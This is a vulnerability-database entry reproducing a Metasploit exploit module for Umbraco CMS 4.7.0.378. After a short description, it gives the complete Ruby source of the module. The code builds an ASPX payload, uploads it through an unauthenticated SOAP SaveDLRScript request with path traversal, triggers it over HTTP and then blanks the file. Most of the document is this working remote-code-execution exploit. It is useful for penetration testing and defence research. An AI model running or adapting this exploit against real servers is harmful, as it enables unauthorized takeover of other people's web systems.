Umbraco CMS Remote Command Execution

2012-07-06T09:52:43
ID MSF:EXPLOIT/WINDOWS/HTTP/UMBRACO_UPLOAD_ASPX
Type metasploit
Reporter Rapid7
Modified 2017-09-14T02:03:34

Description

This module can be used to execute a payload on Umbraco CMS 4.7.0.378. The payload is uploaded as an ASPX script by sending a specially crafted SOAP request to codeEditorSave.asmx, which permits unauthorized file upload via the SaveDLRScript operation. SaveDLRScript is also subject to a path traversal vulnerability, allowing code to be placed into the web-accessible /umbraco/ directory. The module writes, executes and then overwrites an ASPX script; note that though the script content is removed, the file remains on the target. Automatic cleanup of the file is intended if a meterpreter payload is used. This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows 7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have write permissions on the Windows Temp folder.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'        	=> 'Umbraco CMS Remote Command Execution',
      'Description'   => %q{
          This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
        The payload is uploaded as an ASPX script by sending a specially crafted
        SOAP request to codeEditorSave.asmx, which permits unauthorized file upload
        via the SaveDLRScript operation. SaveDLRScript is also subject to a path
        traversal vulnerability, allowing code to be placed into the web-accessible
        /umbraco/ directory.

        The module writes, executes and then overwrites an ASPX script; note that
        though the script content is removed, the file remains on the target. Automatic
        cleanup of the file is intended if a meterpreter payload is used.

        This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
        7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
        write permissions on the Windows Temp folder.
      },
      'Author'      => [
        'Toby Clarke', # Vulnerability discovery and Metasploit module
        'juan vazquez' # Improved version of the Metasploit module
      ],
      'Platform'    => 'win',
      'References'  =>
        [
          [ 'OSVDB', '83765' ],
          [ 'EDB', '19671' ],
          [ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
          [ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
        ],
      'Targets'     =>
        [
          [ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Jun 28 2012'
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
      ])
  end

  #
  # Remove the asmx if we get a meterpreter.
  #
  def on_new_session(cli)
    if cli.type != 'meterpreter'
      print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
      return
    end

    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

    begin
      aspx = @upload_random + '.aspx'

      print_status("Searching: #{aspx}")
      files = cli.fs.file.search("\\", aspx)
      if not files or files.empty?
        print_error("Unable to find #{aspx}. Please manually remove it.")
        return
      end

      files.each { |f|
        print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
        cli.fs.file.rm(f['path'] + "\\" + f['name'])
      }
      print_good("#{aspx} deleted")
    rescue ::Exception => e
      print_error("Unable to delete #{aspx}: #{e.message}")
    end
  end

  # Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
  def exploit
    # Generate the ASPX containing the EXE containing the payload
    exe = generate_payload_exe
    aspx = Msf::Util::EXE.to_exe_aspx(exe)

    # htmlentities like encoding
    aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")

    uri_path = target_uri.path
    uri_path.path << "/" if uri_path[-1, 1] != "/"

    @upload_random = rand_text_alpha(rand(6) + 6)

    soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SaveDLRScript xmlns="http://tempuri.org/">
      <fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
      <oldName>string</oldName>
      <fileContents>#{aspx}</fileContents>
      <ignoreDebugging>1</ignoreDebugging>
    </SaveDLRScript>
  </soap:Body>
</soap:Envelope>
    eos

    #
    # UPLOAD
    #

    attack_url = uri_path + "webservices/codeEditorSave.asmx"
    print_status("Uploading #{aspx.length} bytes through #{attack_url}...")
    print_status("Uploading to #{uri_path}#{@upload_random}.aspx")

    res = send_request_cgi({
      'uri'          => attack_url,
      'method'       => 'POST',
      'ctype'        => 'text/xml; charset=utf-8',
      'headers'	=> {
          'SOAPAction'     => "\"http://tempuri.org/SaveDLRScript\"",
        },
      'data'         => soap,
    }, 20)

    if (! res)
      print_status("Timeout: Trying to execute the payload anyway")
    elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
      print_status("Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
    else
      print_status("Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
    end

    #
    # EXECUTE
    #

    upload_path = uri_path + "#{@upload_random}.aspx"
    print_status("Executing #{upload_path}...")

    res = send_request_cgi({
      'uri'          =>  upload_path,
      'method'       => 'GET'
    }, 20)

    if (! res)
      print_error("Execution failed on #{upload_path} [No Response]")
      return
    end

    if (res.code < 200 or res.code > 302)
      print_error("Execution failed on #{upload_path} [#{res.code} #{res.message}]")
      return
    end

    #
    # 'DELETE' - note that the file will remain on the system, but the content will be wiped.
    #

    soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SaveDLRScript xmlns="http://tempuri.org/">
      <fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
      <oldName>string</oldName>
      <fileContents></fileContents>
      <ignoreDebugging>1</ignoreDebugging>
    </SaveDLRScript>
  </soap:Body>
</soap:Envelope>
    eos

    attack_url = uri_path + "webservices/codeEditorSave.asmx"
    print_status("Writing #{aspx.length} bytes through #{attack_url}...")
    print_status("Wrting over #{uri_path}#{@upload_random}.aspx")

    res = send_request_cgi({
      'uri'          => attack_url,
      'method'       => 'POST',
      'ctype'        => 'text/xml; charset=utf-8',
      'headers'	=> {
          'SOAPAction'     => "\"http://tempuri.org/SaveDLRScript\"",
        },
      'data'         => soap,
    }, 20)

    if (! res)
      print_error("Deletion failed at #{attack_url} [No Response]")
      return
    elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
      print_status("Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
    else
      print_status("Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
    end
    handler
  end
end